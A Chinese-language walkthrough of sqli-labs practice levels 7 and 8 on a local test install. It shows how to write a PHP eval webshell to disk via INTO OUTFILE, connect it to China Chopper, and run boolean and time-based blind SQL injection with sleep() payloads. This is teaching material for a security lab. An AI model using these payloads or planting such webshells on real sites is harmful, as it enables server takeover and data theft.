sqli-labs(7-8關)


知識點:

  1.phpstudy文件讀寫權限的問題:使用show variables like '%secure%';在命令行中查看secure-file-priy當前的值,如果顯示NULL,則需要打開phpstudy\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/"

  2.一句話木馬(配合中國菜刀使用):php版本:<?php @eval($_POST['pass']);?>,pass為密碼

  3.into outfile函數,寫文件,用法:select 'mysql is very good' into outfile 'text1.txt';或者是select 'mysql is very good' into outfile "寫要保存的路徑用\\"

              文件位置:MySQL/data

  4.load_file()函數,讀取本地文件,用法:select load_file('寫文件保存的路徑')

  5.if函數,if(condition,A,B),如果條件condition為true,則執行語句A,否則執行B

  例如:select if(1>2,4,5),返回的結果是5(如果在mysql命令中使用,首先要use ×××數據庫才可以)

第七關(Less-7):

  1.根據提示輸入http://127.0.0.1/sqli-labs-master/Less-7/?id=1,由回顯結果提示知使用outfile函數

  2.判斷是否存在SQL注入,輸入http://127.0.0.1/sqli-labs-master/Less-7/?id=1',報錯,存在SQL注入

  3.通過多次判斷可知,輸入http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+,回顯結果正確

  4.由前幾關可知有三列,使用聯合查詢union select,將一句話木馬寫入

  5.查看保存的文件路徑,查看是否寫入成功(寫入成功)

  6.先直接訪問b.php,一句話是用php寫的,所以不進行顯示

  7.使用一句話與中國菜刀進行連接,打開中國菜刀右鍵添加,輸入http://127.0.0.1/sqli-labs-master/Less-7/b.php,密碼為pass,點擊添加

  8.打開如圖中的地址,即可得到最終結果

第八關(Less-8):

方法一:布爾盲注(一位一位進行猜解)

  1.根據提示輸入http://127.0.0.1/sqli-labs-master/Less-8/?id=1,出現與之前關卡相同的You are in......

  2.判斷是否存在SQL注入漏洞,輸入http://127.0.0.1/sqli-labs-master/Less-8/?id=1',You are in......消失,說明存在注入漏洞

  3.判斷可知,輸入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+,回顯正常,說明接下來應該這樣兒進行構造

  4.判斷列數,使用order by

  5.將3改為4,出現如圖所示結果,說明列數為三列

  6.使用left函數判斷第一位是否是s,回顯正常,說明第一位是s

方法二:時間盲注

  1.使用延遲的方法判斷是否存在注入漏洞,使用sleep函數,無回顯,說明存在注入漏洞

  2.使用if函數對當前數據庫(security庫)的長度進行判斷,輸入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and if(length(database())=8,1,sleep(5))--+,length代表長度,當為8時,很快加載並有回顯,說明當前數據庫的長度為8。否則加載較慢(5s)。由此猜解出當前數據庫長度為8

  3.猜解當前數據庫的每一位與方法一相同 。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM